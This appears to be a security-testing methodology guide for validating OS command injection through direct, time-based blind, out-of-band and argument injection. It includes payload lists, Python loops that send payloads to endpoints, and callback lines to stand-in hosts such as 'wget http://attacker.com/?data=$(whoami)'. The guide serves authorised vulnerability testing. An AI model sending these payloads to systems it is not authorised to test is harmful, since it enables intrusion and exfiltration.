Validate OS Command Injection vulnerabilities including direct command injection, blind command injection via time delays, and out-of-band command execution...
Validate command injection vulnerabilities by injecting shell metacharacters and OS commands into user-controlled inputs and observing:
Inject commands that execute and return output in the response.
Detection Methods:
; id or | whoami and observe command output& dir (Windows) and observe directory listingExample Payloads:
; id
| whoami
`id`
$(whoami)
& dir
| type C:\windows\win.ini
Inject time-delay commands when output is not reflected.
Detection Methods:
; sleep 5 and measure response delay| ping -c 5 127.0.0.1 and measure delay& timeout /t 5 (Windows) and measure delayExample Payloads:
; sleep 5
| sleep 5
`sleep 5`
$(sleep 5)
& ping -c 5 127.0.0.1
& timeout /t 5 (Windows)
| ping -n 5 127.0.0.1 (Windows)
Confirm execution via external DNS/HTTP callbacks.
Detection Methods:
; curl http://attacker.com/callback; nslookup attacker.com| wget http://attacker.com/?data=$(whoami)Example Payloads:
; curl http://collaborator.com/
; nslookup collaborator.com
; wget http://collaborator.com/?d=$(whoami)
| ping collaborator.com
$(curl http://collaborator.com/$(whoami))
Inject additional arguments to existing commands.
Detection Methods:
--help or -v to trigger help/version output--output=/tmp/test to write filesExample Payloads:
--help
--version
-v
--output=/tmp/test
-o /tmp/test
Shell Metacharacters:
| Character | Unix/Linux | Windows | Description |
|---|---|---|---|
; |
✓ | ✗ | Command separator |
| ` | ` | ✓ | ✓ |
| ` | ` | ✓ | |
& |
✓ | ✓ | Background (Unix) / Separator (Win) |
&& |
✓ | ✓ | AND - execute if previous succeeds |
` |
✓ | ✗ | Command substitution (backticks) |
$() |
✓ | ✗ | Command substitution |
> |
✓ | ✓ | Redirect output |
< |
✓ | ✓ | Redirect input |
\n |
✓ | ✗ | Newline (command separator) |
| Platform | Shell | Time Delay | Callback | Notes |
|---|---|---|---|---|
| Linux/Unix | bash/sh | sleep 5 |
curl, wget, nslookup |
Most metacharacters work |
| Windows | cmd.exe | timeout /t 5, ping -n 5 127.0.0.1 |
nslookup, certutil |
Limited metacharacters |
| Windows | PowerShell | Start-Sleep -s 5 |
Invoke-WebRequest |
Different syntax |
| macOS | zsh/bash | sleep 5 |
curl, nslookup |
Similar to Linux |
Common injection vectors:
Direct Command Injection:
payloads = ["; id", "| whoami", "`id`", "$(whoami)"]
for payload in payloads:
resp = get(f"/ping?host=127.0.0.1{payload}")
if "uid=" in resp.text or "root" in resp.text:
status = "VALIDATED"
Time-Based Blind Command Injection:
baseline_time = measure_response("/ping?host=127.0.0.1")
payloads = ["; sleep 5", "| sleep 5", "`sleep 5`", "$(sleep 5)"]
for payload in payloads:
start = time.time()
resp = get(f"/ping?host=127.0.0.1{payload}")
elapsed = time.time() - start
if elapsed > baseline_time + 4.5:
status = "VALIDATED"
Out-of-Band Command Injection:
callback = "unique-id.collaborator.com"
payloads = [
f"; nslookup {callback}",
f"| curl http://{callback}/",
f"`nslookup {callback}`",
]
for payload in payloads:
post("/convert", data={"filename": f"test.pdf{payload}"})
if collaborator_received_dns_or_http():
status = "VALIDATED"
Windows-Specific Testing:
payloads = [
"& dir",
"| type C:\\windows\\win.ini",
"& timeout /t 5",
"| ping -n 5 127.0.0.1",
]
| Status | Meaning |
|---|---|
| VALIDATED | Command output visible, time delay confirmed, or OOB callback received |
| FALSE_POSITIVE | Input properly escaped/sanitized, no execution indicators |
| PARTIAL | Some metacharacters blocked but others pass through |
| UNVALIDATED | Blocked by WAF, error, or insufficient evidence |
Validation Criteria:
uid=, root:, directory listings) appears in responseCapture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status, injection_type, cweid, whoami, hostname, sleep)rm, del, format, shutdown)Validated examples:
Direct command injection on /ping - ; id payload returned uid=33(www-data) (CWE-78). Full RCE possible.
Blind command injection on /convert - sleep 5 caused 5.2s delay (CWE-78). Time-based blind confirmed.
OOB command injection on /export - nslookup callback received (CWE-78). Command execution confirmed.
Argument injection on /backup - --help revealed rsync options (CWE-88). Command behavior modifiable.
Unvalidated example:
Command injection test incomplete on /api/exec - all metacharacters appear escaped. Evidence: path/to/evidence.json
Primary CWEs (DAST-testable):
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Parent/Related CWEs (context):
Related Attack Patterns:
OWASP Classification:
id, whoami, hostname, sleep, ping)rm, del, format, shutdown, or any destructive commandreference/cmdi_payloads.py for command injection payloads by platform and detection typereference/validate_cmdi.py for command injection validation flowexamples.md for concrete command injection scenarios and evidence formats